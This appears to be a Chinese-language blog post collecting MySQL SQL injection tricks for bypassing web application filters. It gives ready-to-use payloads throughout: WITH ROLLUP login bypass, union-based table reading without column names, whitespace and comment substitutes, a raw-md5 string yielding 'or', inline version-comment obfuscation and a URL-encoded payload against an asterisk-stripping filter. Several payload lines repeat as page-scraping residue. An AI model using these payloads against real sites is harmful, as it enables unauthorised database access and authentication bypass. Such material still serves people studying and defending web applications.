整理一些关于mysql的一些注入技巧,详细的可以到github里面看。里面 有完整的项目。
首先说来最基本的,大小写绕过,字符编码绕过,注释绕过,用||代替or,用&&代替and这些比较普遍的都是基本功,也就是说肯定是每个语句都要用到以上内容,这样可以省下很多时间,
而且,也不会有那么弱的网站对这些都不加以限制,所以这些算是起码的尊重,然而把希望过多的寄存在这里是肯定不够的。
所以我们才有那么多的偏门技巧。本篇就是讲这些较为实用性的大杀器。当然不是我总结出来的,我只是搬运工。
闲话少说,第一个是关于with rollup的用法
一般with rollup前面 搭配group by,group by指定好目标之后,with rollup将会产生一个null的目标,或许你要问这个null的对我们有什么用啊,但其实结合实际
一般的php判断语句是先根据我们的login判断是否在数据库中有这样一列,如果有则进入下一个判断,下一个判断就是判断我们传入的password是否等于数据库中的数据。
想象一下,如果我们group by password with rollup,那么就会产生一个null的password列,然后我们通过limit取出这一行,即可,如果不知道username就用上面那些基础方法如username=‘’Or 1=1,username=0‘ or 1=1(字符与数字比较被视为0),如果limit被过滤了就用编码绕过,十六进制绕过
第二个是不知表名的绕过
这个就是黑科技了,mysql的设计是这样,我们创造了1,2,3,4列,然后用联合查询,如果列数相同就会合并
select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user;
select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e limit 1 offset 3
select 1,2,3,4 union select * from users;
第三个是空格的绕过
本来这个是不想讲的,毕竟太普遍了,可是由于方法比较多,还是讲一下,首先是字符编码%20, %09, %0a, %0b, %0c, %0d, %a0
其次是注释绕过/**/,注释可以用内联注释,如/*!1234select*//**/* from
第四个是md5的绕过
有时候判断语句不是从数据库中拿出明文进行判断而是用md5散列后的值进行判断,绕过的方法是构造一个经过解析为字符的数字串,只要字符中有我们用于绕过的字符就一样达到效果,所以关键在于构造这样的数字串,原文构造的数字串是
129581926211651571912466741651878684928
经过md5的内容会是
?T0D??o#??'or'8.N=?
可以看到出现了‘or’8 这样的字符,这个就可以绕过了
这样我们会得到username字段和经过MD5散列的表,接下来要做的就是把md5散列的还原,这个网上可能会找的到彩虹表,如果 没有那就--放弃吧。。
第五个是字符连接的操作
一般关键的字符会被过滤
这个时候就是连接的好处了,一般说来直接用单引号就可以连接‘a’'d''m''i''n',然后也可以用字符串连接函数concat,concat_ws,group_concat//需要注意的是concat的函数如果有一个是null就会返回null,是不是又给你带来了新思路hh.
讲到函数还有一个IF(1=1,true,false)
?id=1+UnIoN+SeLecT+1,2,3-- //主要是运用大小写和+,用union判断列的数量
?id=1+UNunionION+SEselectLECT+1,2,3--//过滤
?id=1+un/**/ion+se/**/lect+1,2,3--
<span style="font-family: 微软雅黑, "Microsoft YaHei";">UNION SELECT /*!50000 5,null;%00*//*!40000 4,null-- ,*//*!30000 3,null-- x*/0,null--+<br>SELECT 1/*!41320UNION/*!/*!/*!00000SELECT/*!/*!USER/*!(/*!/*!/*!*/);</span>//额权当姿势越多越好
第五个是登录时候的骚姿势
比如说登录where username =''='',select一个空将返回null,null=null,,ojbk
绕过:
文件的63行开始可以看到,此处将传入的%27和%2527都进行删除处理,也就是还没传入数据库前就已经被该死的程序吃了,但是在67行看到他还吃了*,这样我们就有办法了,我们构造%*27,这样程序吃掉星号*后,%27就会被传入。
payload:
1
|
http://localhost/injection/user.php?id%3D1%*27%*20and%*20%*271%*27%3D%*271
|
(id=1' and '1'='1-->id%3D1%*27%*20and%*20%*271%*27%3D%*271)
?id=1+un/**/ion+se/**/lect+1,2,3--
|
?id=1+un/**/ion+se/**/lect+1,2,3--
|
$id = $_REQUEST[ 'id' ]; $query = "SELECT * FROM admin WHERE username = $id ";比如是这样一个查询语句,直接用 '='就行
还有用in绕过过滤等号或者like
比如 select substr('admin',1,5) in('admin')
select * from where id in(1)
还有between
select * from users where username between 'aa' and 'ae'; //admin就会被弹出
十六进制绕过引号
select * from users where username between 0x6161 and 0x6165
?id=1+un/**/ion+se/**/lect+1,2,3--
|
?id=1+un/**/ion+se/**/lect+1,2,3--
|